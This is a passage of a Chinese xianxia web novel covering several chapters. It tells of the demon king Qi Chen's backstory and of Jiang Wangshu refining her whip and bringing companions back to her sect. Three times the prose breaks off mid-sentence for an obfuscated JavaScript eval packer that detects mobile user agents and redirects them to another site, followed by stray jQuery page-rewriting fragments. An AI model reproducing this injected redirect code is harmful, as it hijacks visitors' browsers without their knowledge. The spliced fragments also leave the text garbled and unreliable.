紧接着,幻影状态的沈天仔细打量了她一下,又看了看祁辰,无奈叹了口气。 “孩子,看来,你受了很多苦。”他的眼神变得怜悯起来,“你要记住,不要胡乱猜测,请相信你自己,这是我能留给你的忠告。” 有那么一瞬间,姜望舒觉得他通过这具身体,看透了自己的所思所想,也看透了她的来历。 “那本古籍只有我的后人能看到上面记录的内容,即便如此,我的后人看到的内容也会各不相同,此物会对你有莫大的帮助,还有木盒里的东西你也要收好。” 他的目光如同神明怜爱众生那般,姜望舒内心的不安居然奇迹般地平静下来。 紧接着,他的身影变得越来越模糊,在他们二人面前出现了很多画面,展示着他过往的所有经历。 就如传言那般,他的出现如同撕裂黑暗的曙光,将妖怪的邪恶气息驱散得无影无踪,在那场惊天动地的大战中,他的剑法快如闪电,身影在战场上穿梭,如同一道银色的闪电,所到之处,妖怪们无不闻风丧胆,纷纷溃败。 在他的身后,无数相似装扮的人冲上前去,如同飞蛾扑火般泯灭在黑色妖气中,双方的人数实在过多,白色和黑色光芒的消散意味着一个人或妖的死亡。 “壮志吞星斗,笑谈灭妖邪。待重整乾坤,立名青史,万古长歌————哈哈———也不枉老夫活此一生。” 他大笑起来,声音如同遥远的回响,渐渐变得缥缈。 姜望舒一时呆住了,她感到自己的心中起伏不定,一股莫名的情绪涌上心头,再次恭敬地行了个礼。 对上祁辰困惑的表情,姜望舒笑笑,给两人解释道:“没事,我好像知道自己的身世了。刚刚那位是一位捉妖师前辈,因为我是他的后人,所以能够看见他的幻影,现在他消失了。” 祁辰和消消了然,并没有再多问。 姜望舒走过去,拿起台上的古籍后收入口袋,又打开木盒,只见里面是一枚通体透明的丹药,她并不知道这个到底是什么。 祁辰的瞳孔震了震,随后很快恢复正常,这回是终于发自内心地笑道:“这是炼心丹,你不是得了鲛人的碧海?有了这枚丹药的相助,炼化过程几乎百分百会成功。” 从消消在旁边偷偷抹口水的频率,姜望舒明白,这确实是不可多得的宝物,毕竟消消都快要馋得忍不住了,防止他一口吞了,姜望舒默默把丹药拿得离他远了些。 她抬头看看四周,因为打开了盒子的缘故,此刻这片空间充满了浓郁的灵力,她立即决定,就在此地开始炼化吧,不然浪费了这些溢散出去的灵力,只是可惜,早知如此,就等到回宗门再打开了,这样宗门内的人还能跟着得到些好处。 虽说妖力和灵力其实是有区别的,但是他们的本质都是一种能量,祁辰和消消也赞同在这个地方休整,正好借着这个机会吸收一些灵力。 在姜望舒和消消都闭上眼睛后,祁辰突然睁开了那双凤眸,眼神中满是寒光。 33. 游踪问寻(三十三) 万年来,自祁辰有灵识以来,他便出生在葱雾森林深处,由于能力的特殊,他直接给自己开辟出了一个空间,躲藏在里面,所以并没有受到过其他妖怪的伤害。 他作为一棵菩提树,生来便带有一丝神念,可吸收天地之灵气,修炼自然比别人快上许多,雨水、阳光、土壤都能给他带来修为,就这样,渐渐的,成了周围修为最高的妖怪,于是那里就成了他的地盘,在成年前,作为一株植物,祁辰是不能随意移动的,所以只能扎根在自己生长的地方。 再然后,他终于成年了,他的周围已经没有其他的妖怪胆敢踏足,只有一条笨笨的蛇妖和一只看似聪明的九尾狐留了下来,勉强成了他的老朋友。 实在无聊的祁辰有一段时间甚至专门跑到别的妖怪领地将其抓过来,然后他们再逃跑,他再去抓,久而久之,修为居然又提升了,经此一闹,大家居然开始尊称他为王了。 就连森林里修为最低的小妖都知道这密林深处出了个不得了的大妖怪,尤喜玩猫捉老鼠的游戏,折磨猎物,玩心理战术,又不下狠手,实在是有损被抓妖怪的尊严。 日子就这样平淡的过去,当然,平淡只是对于祁辰而言如此。在修为达到一定程度后后,他的内心突然有所感应,这世间没有任何人或妖能够战胜他,此外,在整个妖族,还有另外三个和他一样强大的存在。 于是,闲得无聊的祁辰又飞到这三个强大妖族的领地,像长街上挑事生非的该溜子,文雅点形容是打算一探究竟,接地气点来说那就是没事找事,让别的妖怪除了生活,再多点事情要解决。 他最先找上门的是虎妖的领地,毕竟他住的离自己最近,在刚到他的领地的时候,虎妖就跑了出来,冲他大呼小叫的,祁辰眼见沟通不了,烦躁地直接扇了它一巴掌,终于不叫了。 但是它的眼神仍然很不友好,所以气得祁辰又打了它几巴掌,身形比他还要巨大的老虎在他手中就像是一只小猫咪,直打到他的眼神终于变得清澈起来,又顺手拔了它一颗牙齿,祁辰终于含笑,满意地转身离去。 祁辰第二个要找的就是那只鹰妖,由于鸟类的天性,鹰妖自然生活在悬崖峭壁上,彼时祁辰刚成为大妖不久,还不太喜欢飞在空中,更喜欢脚踏实地的感觉,不过这难不倒祁辰,他自然地操控着自己的藤蔓,很轻易地就找到鹰妖的老巢。 在那里居然还有两只幼鹰,看来是她的孩子了,好在鹰宝宝们都在睡觉,并没有发现祁辰的到来,于是乎,他隐匿自己的气息,化身成一株小草长在峭壁一旁。 等啊等,就在祁辰随风尽情摇摆的时候,终于一个巨大的身影从远处飞来,还带着一股强劲的风,把祁辰悠然自得的气氛给打破了,吹得他差点被连根拔起。 祁辰瞬间不满起来,偷偷放出一缕妖气击打在她的翅膀上,由于自己对于时空的操控能力越来越强,以至于那股力量好像是莫名地出现一般,让人寻不到来源,她立刻掉了好几根羽毛,痛鸣一声,可又找不到源头,只好作罢。 祁辰不禁摇头,实在无趣,看来又是个不太聪明的。 鹰妖飞回巢穴,视线倏地落到他的身上,就在祁辰以为她终于发现自己的存在时,没想到鹰妖居然喃喃低语道:“奇怪,这里什么时候长出了棵野草,为什么我居然从一棵没有灵识的小草身上看出了鄙视的神情,一定是累糊涂了。” 说完,就转头去照顾自己的孩子去了,看到巢穴中两只乖宝宝睁开眼睛喊着“妈妈”,祁辰叹了口气。 算了,没意思,太傻了。 最后一只妖王着实费了祁辰一番功夫,也就是罗落那条鲸妖。 阳光洒在波光粼粼的海面上,海浪轻轻拍打着岸边,发出柔和的哗哗声,海风带着咸咸的湿气,轻柔地拂过脸颊,带来一丝凉爽和惬意。湛蓝的天空中,几朵洁白的云朵悠闲地飘荡着。 可是飞在海面上空的祁辰心情却并不是很爽,现在他只觉得这水面被阳光照的刺眼,不满地轻“啧”一声,几日前他就已经感应到罗落就在这片海域内,可让他感到烦躁的是,他怎么都寻不到罗落的身影。 他倒是试过将一小块的海域全部抽干,但是他也没办法把整片大海都抽干啊! 就这样晃荡了几天,就在他决定放弃的时候,居然遇到了鲛人一族,彼时一条小鲛人正在深渊般的海浪中撒欢地游动,他瞧着有趣,起了逗弄的心思,就施法让浪花起的更高一些。 变故就在这时发生了,一个巨大的身影从深海中浮现出来,祁辰嘴角弯了弯,含笑地看着水下,说:“终于肯现身了?” 水下的鲸鱼没有说话,只是不断地卷起风浪,但又没有进行攻击,看着挺像是虚张声势的,水中的小鲛人在看到鲸鱼出现的那一刻就兴奋地冲它打招呼,但下一刻就被大浪冲走了。 …… 祁辰哑然失笑,说:“明白了,原来你是担心那条小鲛人啊!怎么,他是你的好友?可它看着年纪挺小的。” 从这条鲸鱼刚刚掀起的风浪中,他能判断出来这条鲸鱼妖比前两只妖王实力更强,不过可惜了,应当还是打不过他的,而且对方像个缩头乌龟一样,只躲在水下掀掀波涛巨浪,搞得他一点兴致都没有。 想到这,祁辰就把从虎妖那里拔得的牙齿直接扔了下去,嫌脏。 少顷,一个矮矮胖胖的中年男子突然从水中飞了出来,刚见到祁辰的时候还瑟缩了一下,似乎是害怕,但口中忍不住惊呼:“卧槽,好帅。” 祁辰睨了他一眼,懒得搭理,随意回复道:“别搞,喜欢女的。” 也不知道中年男子怎么从他这张嚣张的脸上看出他很好说话,可能这就是被美貌冲昏了头脑吧,刚才的胆怯一扫而空,冲了过来,举着刚刚那枚牙齿,笑呵呵道:“不好意思啊,我叫罗落,有点社恐,刚刚看到你掀起风浪,以为你是想要伤害小鲛人所以才吓唬你的,没想到你是来给我送礼物的。” “是呀,我好害怕。”祁辰面无表情地回应。 罗落哑了一下,随即说道:“既然你送了我礼物,我也要回你一个,我收藏了很多宝石,如果你喜欢的话,我就送你,都是很稀有的。” 祁辰头也不回地离开了,只留下一句:“本王不喜欢宝石,都是些亮晶晶的东西,毫无用处。” 后来又是百无聊赖的数千年,人类变得越来越强大,侵占的领地越来越多,在这积怨已久的过程中,妖怪和人类的战争终于还是爆发了,虎妖王也参与此事,祁辰并不感到意外。 千年间,虎妖的野心如同被吹气的气球般不断膨胀,终有一天,外皮会因无法支撑巨大的野心而爆发,为了抑制他的躁动,祁辰闲得没事就去揍他一顿,用千年的时光证明,不打不成器这句话纯属封建糟粕。 不过令他感到意外的是,鹰妖居然也参加了这次大战? 祁辰敏锐地感觉到一丝不对劲,于是暗中去鹰妖的领地查看了一番,发现里面的两只鹰宝宝早就不见了,也对,都过去这么久了,也该长大了吧,怎么会还在这里呢。 接下来的事情大战他没有参与,对于那些被虎妖和鹰妖煽动的妖族并不感到同情,并且在他看来,这一仗人类必将取得胜利,妖族发动的攻击名不正言不顺,更何况人类的捉妖师远比虎妖想象的要强大。 只是没想到,有一天,鹰妖居然来到自己的地盘。 那日,他正在自己搭建的空间里休息,这里的宫殿已经被装点的古香古色,但又不失宏伟,只是看久了也会让人觉得乏味和沉闷,没有什么亮丽的颜色。 忽然,他感应到有陌生的气味的妖怪跑到自己这里来了,倒并没有觉得什么不悦,本来还想要继续睡,交给那条大蟒蛇或者是那条九尾狐来处理,只是没想到他们三个打了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384711|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么久还没有停下来,顿时又有些烦躁。 一闪身出了空间,看到居然是那只鹰妖来到自己的地盘上,那也就难怪两个朋友打不过了,他刚想出手,抬眸见到化为人形的鹰妖手中居然还抱着两只小妖,硬生生地停住了。 好看的眉毛皱起,问道:“什么意思?” 那是一个中年女人的形象,她就站在那里,宛如一株挺拔的青松,英姿飒爽的风采,脊背笔直。 良久,她将被施法熟睡的孩子放到地上,跪了下来道:“这是我的两个孩子,相信尊上身为妖王之一,早就知道了这一次的人妖大战,我之所以会参与,都是因为虎炎挟持了我的孩子,如今我终于将孩子偷了回来。” “希望尊上能够大发慈悲,照顾我的孩子,我知道尊上并不支持开战,大可放心,只要有我在,虎炎定不会成功。” 说完,她就匍匐在地,朝祁辰重重地磕了三个响头,然后便一直跪着,大有他不答应她就绝不会起的架势。 都是妖怪,技不如人就死,他能发善心救助她两个孩子已经算是仁慈的了,还想让自己护着他们一生安然无恙?做梦! 还未娶妻生子的,他可不想就这么突然多出了两个孩子来,以后也不好解释。 思及此,祁辰断然拒绝了,不过还是把两只小鹰妖扔到了自己的领地,意思很明显,就是他们如果生活在这,自然不会有什么危险,但是等到他们长大后,想要跑出去了,他也不管。 鹰妖勉强笑了笑,这就够了,她最后再看了一眼两个孩子,然后头也不回地走了。 自此,祁辰就再也没有见过她了,直到大战结束,人类的捉妖师,名字叫什么?沈天?找到了他,带给他一盏莲灯,两只小鹰妖长大后也自己跑了出去,他也不再多管。 山洞内,消消的胳膊早就已经恢复了,实在是太累了,就直接飞回玻璃瓶内呼呼大睡起来,只有姜望舒还在入定状态,她的面前悬浮着长鞭和碧海,炼心丹早就被服入体内,导致她全身都散发着白光。 祁辰站起身观察了片刻,确定姜望舒的炼化没有什么问题后,用自己的衣袖细细地为她擦去额头上的细汗,知道她还需要一些时间,又找到一处角落坐下,刚刚温柔的面色立刻变得紧绷。 祁辰百思不得其解,方才想要自毁妖丹的时候,发现他的妖丹缺了一半,怪不得自己的妖力大退,就连罗老怪都能和自己打上几个回合了,可这事是何时发生的?平日生活的散漫,以至于从来没有遇到过威胁生命情况,所以更没有发现妖丹有损。 祁辰不禁皱紧眉毛,的确,发生的怪事实在是太多了,似乎他的记忆从很久之前就开始变得混乱起来。 为什么后来的自己几次三番去罗落那里“讨要”宝石?他明明并不喜欢这东西。 有人和他说宝石装点宫殿会增添不一样的色彩,这人是何人? 初拿到莲灯时,这东西虽威力巨大,但几个妖王加沈天联合起来都打不他,天地之间,唯他独尊,是以,他根本没把莲灯放在心上,为什么后来他会对莲灯的存在深恶痛绝?明明此物根本伤害不到他自己,简直是匪夷所思。 …… 诸多的疑问充斥在他的心间,让他感到些许棘手,一时心里没了主意,坐立难安。 山洞内由于有夜明珠的关系,所以并不显得黑暗,他恍惚间想起,自己的确很久没有回到葱雾森林深处了,一时间居然还有些想念。 一个念头油然而生:想要将姜望舒带回寝殿,隐居山林之中,一同俯瞰自然万物,不受外界纷纷扰扰所困。 可惜他不知道的是,如果姜望舒知道这件事,一定会激动地和他握手,并且松了一口气地想:原来有毛病的不只是她自己,一个人记忆错乱的话有可能是因为自己的脑袋出现了问题,但是两个八杆子打不着的人同样犯病的几率总归是要小一些。 34. 游踪问寻(三十四) 不知过了多久,姜望舒还是紧闭着双眼,周围的灵气已经淡到几乎感知不到了,由于看不到外面的太阳,祁辰并不知道过了多少天,这期间消消睡醒了几次,然后又溜回玻璃瓶内。 终于,姜望舒发出了一声低吟,一直注意着这边动静的祁辰立刻就发现了,站起来看向她,好在她的气息慢慢平稳下来。 炼化成功了,姜望舒拿出已经融合了碧海的长鞭,转瞬之间,长鞭就变成了一把通体晶莹的黑色雨伞,上面还泛着白色的光泽,她兴奋地对祁辰招手说:“来,你试试攻击我这把雨伞,用个八成的力量即可。” 说完,她转身拉开了和祁辰的距离,走到远处,打开了这把伞对准祁辰的方向。 祁辰在他拿出武器后就感受到了武器的不凡,倒也相信姜望舒的判断,用了八成的妖力攻击过去,“轰隆”的一声,震得整个山洞都摇摇晃晃的,没了阵法的加持,这个山洞居然有要崩塌的迹象。 还在睡梦中的消消被吓的直接跳了出来,大喊:“谁!什么情况!怎么了!有人打进来了?” 首先看到的是祁辰的身影,再一感受,那妖力可不就是祁辰发出来的?而攻击的对象,就在一把黑伞后,扬起的尘土让他看不清执伞人的模样。 “有强敌来犯?居然能硬接下来你的一招,看来是挺厉害的。”消消的脸色变得凝重起来,“望舒姐呢?” 听到这话,祁辰居然爽快地笑了起来,点头道:“的确是挺厉害的。” 消消一脸惊悚地看着他,有饼?笑那么开心。直到终于看清伞后的是望舒姐,表情才恢复了正常,算了,早就见怪不怪了。 就在姜望舒走过来想要和两只妖说话的时候,山洞似乎终于要支撑不住了,石子开始凌乱地向下掉落,有几块还砸到了他们身上。 “快走快走!要塌了啊!”消消最先叫唤起来,一手拉着姜望舒,一手拉着祁辰向外跑去,终于赶在山洞完全崩塌前跑了出去。 找到一块安全的空地后,姜望舒继续低头摆弄着这件新武器,在她白皙的手中,这把黑色的雨伞跟随着她的意念又变成了各种不同的形态,这就是鲛人族碧海的妙处了,他们一族擅长变幻及占卜之术,所以碧海也能变幻原本长鞭的形态。 并且……武器又变成了长鞭,她猛地向前一甩,被鞭子抽打过的地面上居然结起了一层薄薄的冰霜。 姜望舒笑眼弯弯对两只妖说道:“碧海和炼心丹还增强了长鞭的攻击能力,相应的,当它成为伞的形态,攻击力自然就全部转换成了防御力,现在它当真可以成为法器了,只是可惜,没有一种形态能够兼顾攻击和防御。” 看着她笑颜如画,祁辰的心中不觉软了一块,没忍住伸手摸了摸她的脑袋道:“应当是可以的,你现在使用还不算熟练,会有一种形态兼具攻击和防御的。” 她点头,仍然在笑。 怎么傻乎乎的,祁辰失笑。 “既然这是法器,那总不能一直长鞭长鞭地叫吧,如此有灵性,应当给它起个合适的名字才好。”消消突然手臂撑着下巴,作思考状。 姜望舒立刻想到当初摄魂铃炼化成功时它起的那个令人满头黑线的名字,当即打断她的思考道:“《博物志》中曾记述‘鲛人泣泪皆成珠’,而后才有了’沧海月明珠有泪‘,既然是融合鲛人族的碧海,不如就取名为碧月吧。” “嗯……这个名字好是好,就是感觉缺少了一下霸气。” “大可不必那么霸气。”姜望舒果断拒绝了他的思考。 笑闹间,姜望舒和两只妖已经走到流云派所在的山峰上,看到那摇摇晃晃的大门,祁辰和消消不出所料地同时嘴角抽了抽。 “不是吧,望舒姐,你难道就住这里?你们宗门,也太破旧了吧!”消消直接看破又点破地说了出来,话还没有说完,牌匾上突然出现了一股凌厉的气息打向他的方向,只是可能因为他的个子比较矮,所以从他的脑袋上方擦了过去。 这回,消消可不敢再乱说话了,用自己肉乎乎的小手捂住了嘴巴。 就连姜望舒也一脸懵,他们宗门的牌匾什么时候会自动发起进攻了?想当初自己刚来到宗门的时候也觉得这门实在是太过破烂,好在她没说出口,不然被削的就是她了。 祁辰没忍住笑起来:“看来你的师父师娘还是个小气的,在门上施展了术法,如果说了一些禁忌词就会遭到攻击,我没猜错的话,这门应当只有你们宗门的人才能够打开。” 一阵风吹过,门吱呀地响起来,如果不知道内情的话,的确很难相信这门居然那么难开,姜望舒想到之前她的养父母找上门来,也是敲了半天的门,直到她和四师兄用过早饭后主动打开门,那对夫妇才得以进来。 他步履从容地走上前查看后说:“应当还有阵法吧,等级差不多和山洞里的一样。” 说话间,门从里面被打开了,露出一张熟悉的面孔,风影清似水,霜枝冷如玉,说的大概就是她的四师兄了,不过他手中正拿着一把长笛,眼神带着戒备地看着祁辰,直到见到后面站着的姜望舒,面容才和缓下来。 见到云舒还在流云派内,姜望舒哪里还能不明白他已经做出了选择,这样也好,他的四师兄还是那个不受拘束的翩翩公子,比待在皇宫内自在多了。 “刚刚门口有异动,我还以为是有什么外敌来犯,原来是小五你回来了。”云舒收起手中的长笛,“不过,这两位可不是流云派的人。” 言下之意,流云派不欢迎来路不明的人,小五心性单纯,出门在外容易被骗,有一个不说话只知道抱着剑哭的傻子就够了,这次又捡回来两个人,一大一小都是男的,很危险。 祁辰眼中瞬间积蓄起泪水,刚刚淡定从容的气质一扫而空,充满委屈地盯着姜望舒道:“看来,你的师兄并不欢迎我来,没关系,我会带着咱们儿子好好生活的,我也不会再有别的女人了。” 他本就长得好看,又因为他微微低着头,黑色的长发软软地搭在肩头,眉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388190|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低垂,没有了平时的张扬,反倒看着很乖巧,让姜望舒一瞬间有点把持不住,想要伸手摸一摸他的头发。 祁辰牵起只有他膝盖高的消消,还偷偷在姜望舒和云舒看不到的地方掐了消消一下,让他疼得也“哎呦”叫起来,眼泪在睫毛上要掉不掉的,当真是被欺负了的孩童模样。 “你说这是你和谁的儿子?!” “有病啊!” 两道声音同时响起,云舒和姜望舒都愤怒地看向祁辰。 前者是又震惊又生气,他小师妹出门一趟,就被人骗了身子,连孩子都生下了,也是,都怪他这个做师兄的,这一年多都没有关心过她的去向,没想到居然被野猪拱了! 后者则是既无语又羞愤,他在说什么鬼话,虽然四师兄不同意他们进来是因为祁辰看着不像什么好人,只要她好好解释不就可以了吗?想的什么损招,殊不知祁辰只是话本看多了,戏瘾犯了。 大抵真的是近朱者赤近墨者黑,祁辰也从姜望舒身上学到了语不惊人死不休的本领,三言两语就能达到天雷滚滚般的效果。 祁辰一只手震惊地捂住嘴,连眼睛都睁大了,连忙惊慌地瞥了姜望舒一眼,连连道歉道:“对不起!望舒,我是不是说错话了,没有,这……这就是我的孩子罢了,和望舒没有关系……” 真是一副我见犹怜的模样,可惜,这招只对姜望舒有用,对于云舒这个直男脑袋来说就是四个字——诡计多端! 云舒闪过一丝姜望舒始乱终弃的念头,很快被他摇头驱赶出脑中,虽说小五平时是顽皮了一些,可到底年纪也不大,心思也单纯,反观眼前这个男人,一看就比姜望舒大上好几岁,长着一脸邪魅的样子,一定是他诱惑师妹! 坚定了自己的想法后,云舒又拿起手中的长笛,吹奏起来,一股凌厉的灵气直冲祁辰,却被祁辰轻松躲开,他饲养的蝴蝶妖似乎是听到了云舒的笛声,姜望舒远远地看到它正从远处飞过来。 云舒的脸上顿时露出警惕的神色:“你原来会武功!说!潜伏在我师妹身边到底有何目的!” “其实…..”姜望舒弱弱地想要插话,却被祁辰一把拉住了手,悲痛地摇摇头,一副肝肠寸断的模样。 ……无语。 蝴蝶妖没有什么攻击性,除了浑身上下都是宝之外,也就剩下一个导航的功能,识路本领一流,所以此刻它只是扑腾在云舒的身后,不知道该如何是好。 “呦!堂堂捉妖门派,居然还私下饲养妖怪,看来所谓什么名门正派也不过是说说而已。”祁辰一脸不屑,摊手耸肩道,“行了,不装了,摊牌了,看在你是望舒师兄的份上,老子不跟你打,以免伤到你,赶紧让老子进去吧。” 他怎么又开始自称老子了,不是一般都本王、本座地叫自己吗? 这个时候姜望舒还能有心思想到他的称谓。 被放开的消消还没有人的膝盖高,也学着祁辰的样子,一脸不屑,摊手耸肩道:“对,让小爷我进去!” 35. 游踪问寻(三十五) 远处的群山在阳光下勾勒出柔和的轮廓,山间的树木郁郁葱葱,绿意盎然,湛蓝的天空高远而明净,没有一丝云彩,透出一种清透的宁静,只是流云派大门口还上演着这场闹剧。 姜望舒实在忍不可忍,揍了祁辰和消消一大一小各一拳。 “姜姑娘?消消,你们……在闹哪样呢?” 一个健壮的男人从流云派内走了出来,正是之前拿着姜望舒玉佩来到宗门的剑痴,几日不见,她感到他的气势似乎更加凌厉急躁,夹杂着一些颓废,他手中的剑明明是木头做的,此刻竟也透露着些许寒意。 云舒面露疑惑,指了指祁辰和消消问:“你认识这两个人?” 剑痴比他更加困惑,不过还是老实答道:“认识这个小的,是个小水妖,在青柳村的时候和姜姑娘一起待过,这个大的……”他顿了顿后摇摇头,示意自己不认识。 祁辰倒没觉得有什么惊奇的,毕竟在场的人他都认识,除了那个剑痴,不过事先他也在消消的嘴中听到过这个人,又看到此男子十分宝贵自己的剑,是以也不难猜出他就是那个剑痴。 趁着几个人没有开口的空档,姜望舒终于找到机会加入聊天。 “其实,这位是我的师兄,云舒,你们应该都认识,还有他养的蝴蝶妖。” 说完,姜望舒手分别指过剩下的几人,一一介绍道:“这位是一只葱雾森林中的大妖,修为挺高的,无意间认识的,这个是消消,小水妖,我行途中不小心把他的窝给炸掉了,所以只能把他捡回来了,这个是剑痴,在青柳村认识的,他是来寻找他喜欢的妖,哦对,是只花妖。” 妖妖妖,怎么全是妖?云舒眉心跳了跳,庆幸还好师父师娘们都不在,要不然还不知道会不会同意小五这么胡来,他们这里可真成了名副其实的“收”妖门派,此“收”非彼“收”。 就连姜望舒自己说完后都觉得有点怪异,每个门派都有门规门训,或庄重公正如青天派,或灵活善变如阴月派,或坚毅如永日派,流云派从不立门训,若说他们流云派的传统……不会就是到处乱捡吧? 云舒眉头一皱,质疑道:“不对,我想起来了,我应该见过你,你不是那个给我藤蔓的人吗?你还跟我说你只是一只当年长公主救下来的小妖,因为要报答长公主的恩情,自愿代替我,那么为什么小五说你是只大妖?你又怎么会遇到小五呢?” 糟了,这真是人一多,关系也错综复杂起来了,刚刚光想着隐瞒祁辰妖王的身份,并不知道他在外给了自己一个怎样的身份,眼下来看,她这句话应当是说的不对了。 “的确,我确实是只大妖,至于为什么会遇到望舒,这件事情就说来话长了,我们还是进去说吧,放心,我并没有什么恶意,”祁辰真诚道,“之前也只是为了能够让你不起疑心,编的谎言。” 言下之意,他还没有编好,等进去了他慢慢来想他和姜望舒是怎么认识的。 “好吧。” 一番话被说的滴水不漏,态度诚恳,云舒也放下了心中的戒备,甩了下衣袖,转身往流云派内走。 离开一年多,流云派内并没有什么大的变化,中间还是那棵巨大的桂花树,院子里打理得很整洁,在树下居然又添一张石桌,旁边放了两把石凳,新桌子的纹路和旧桌子的纹路压根不是一个风格,显得有些不伦不类。 姜望舒有些疑惑,不禁问道:“四师兄,为什么又多了一张石桌?” 云舒难得露出腼腆的神色,微微偏过头不看她,回应道:“咱们流云派内的人越来越多,我担心其他人都回来,原先的桌子太小,坐不下那么多人,但是苏梓又不在,我也不会做,所以我只能去山下买了,这是他们店里最大的了。” 姜望舒了然,她也不懂这石桌该如何制作,门派里最爱倒腾东西的苏梓师姐又不在,的确只能先这样用了。 “咱们流云派除了我,还有其他弟子回来吗?” 听到这话,云舒叹了口气,摇摇头道:“只有过年的时候师父和师娘回来过,再就是我和你。” 姜望舒震惊了,大师兄和二师兄居然在北部挖了一年多的玄冰!不过算一算,确实也差不多需要这样,只是应当也快要回来了。让她想不通的是,苏梓为什么没有回来, 思及此,她下意识地想要摸衣袖上的袖针,却没有摸到,猛然想起之前情况危急的时候给祁辰使用了,于是在云舒转身没有注意的时候,朝他伸手要袖针。 在听到那袖针其实是姜望舒的师姐制作而成,祁辰立刻老老实实地交到姜望舒手上了。 好在流云派有几间房是专门留给客人住的,所以尽管姜望舒又捡来了一大一小,此刻也能住得下,不过收拾房间这件事情就落到他们自己头上了。 祁辰和消消被云舒分别领到两间房,紧挨着剑痴的房间,姜望舒则是回到自己那里。 穿过熟悉的走廊,终于来到自己的房间门前,姜望舒轻轻推开门,屋内弥漫着一种久违打扫的陈旧气息,桌面上落满了灰尘,还有一些灰尘由于她的动作飞到空中,在阳光下格外显眼。 她走到床边推开窗户,让阳光洒进来,才感到屋内的味道小了一些。 良久,就在她一切基本收拾妥当后,外面适时响起了敲门声,姜望舒原本以为是祁辰和消消收拾好了,所以来找她,打开门后,才发现来的居然是剑痴。 剑痴的嘴唇张了又合,合了又张,似乎欲言又止,表情有些为难的样子。 姜望舒瞬间想起来她之前写给沈墨尘的那封信,问:“宗门最近有我的信仙吗?” “有的有的,是一个从青天派宗门处飞来的信仙,在我这里,由于是给你的信仙,所以我们都没有拆开来看。” 看到姜望舒并没有忘记这件事,剑痴松了一口气,不然他木讷的性子也不好意思主动开口。 姜望舒点头示意自己知道了,接过他递过来的信仙,剑痴微微侧过头看向外面,在姜望舒看不到的地方,眸光中又开始积蓄起淡淡的忧虑和焦急。 她快速一目十行地看过了信仙,表情严肃地问:“剑痴,这信仙你记得是什么时候寄过来的吗?之后还有别的信仙吗?” 剑痴转过头,肯定地回答:“是我来到流云派的第三天上午,再就没有其他的信仙了,是不是出什么事情了?” 他的脸色变得焦急起来,不安地摸索着手中的木剑。 “是沈墨尘失踪了,对吧?”一个漫不经心的声音从长廊处传来,姜望舒和剑痴同时转头看去,只见祁辰不知道什么时候开始正和消消站在门边,冷不丁地说话,将两人吓了一跳。 祁辰走过来,拿过姜望舒手中的信仙道:“行了,别藏着掖着的了,青柳村发生的事情我早就知道了,已经派我领地处的妖怪出去探查了。” “等等!你刚刚说沈墨尘失踪了?”姜望舒深色严峻。 她还记得之前在山洞中见到的青天派老者说自己其实是沈天的后辈,那么也就是说,同为沈天后背的沈墨尘就真的可能是他的哥哥,要不怎么说沈墨尘的直觉还是挺敏锐的,在不知情的情况下,居然就想要认她做了妹妹。 至于当初她到底为何会沦落至乡下,恐怕只有青天派内部的人知道了,现在想来,当初那个记忆中一直在的老爷爷也很奇怪。 “对的,大概就在咱们到了渔村之后就失踪了。”祁辰接话道。 那岂不是已经过去了很久,在信仙上,沈墨尘告诉姜望舒,青天派已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜望舒觉得这件事情还是有必要告诉云舒的,毕竟流云派到底已经因为她被卷入争斗中了,提前说一下才能有所防范。 餐桌上,几人将这件事情全部告诉给云舒,但是姜望舒下意识地隐瞒了自己的身世。 果不其然,云舒在听完几人的讲述后,眉头紧皱地说:“放心,这几天我会再去加强流云派附近的防护,应当不会有事,可是你们接下来有什么打算呢?” 祁辰开口道:“近年来阴月派从每一年招收弟子有改革为每半年一招收,直到今年招收新捉妖师弟子的选拔改成了每月一次,可是他们一个宗门,哪里需要那么多弟子?这个月末的招新选拔我们几个也会去,这样就能趁机混进阴月派了。” 云舒忽然意识到什么不对,说:“可是,小五和祁兄你的脸之前应当被阴月派的人见过,如果有有心人认出来,事情就麻烦了。” 姜望舒从口袋中拿出了两张人皮面具,狡黠地笑了笑,像只得逞的狐狸。 云舒微微一愣,随即眼中露出恍然之色,这面具还是苏梓做的,可以用这个乔装打扮,只要不是使用灵力摘掉面具,就不会脱落,也不会被别人发现。 消消抱着饭碗,擦掉嘴角上的米粒问:“可是,你们的声音呢?就算面貌改变了,声音应该还是会耳熟的吧!” 姜望舒苦笑道:“我们能够使用术法或者符纸改变声线,虽然每次只能维持一小会,但紧急情况应付一下应该也可以,没办法,只能少说话多做事了。” “还有个问题,我们还不知道考核的内容是什么,能成功通过考核吗?”一直不说话的剑痴又抛出了个问题。 姜望舒点头道:“的确是一个应该考虑的问题,虽然我们的修为在这里,但还是要适当隐藏的!” 说到隐藏,她还特意盯着祁辰看了好几秒,警告的意思很明显:虽然你是妖王,但你收敛点! 祁辰转头不看她小鹿般水盈盈的眼睛,放在腿上的手却不自觉蜷缩起来。 可爱,想摸。 36. 游踪问寻(三十六) 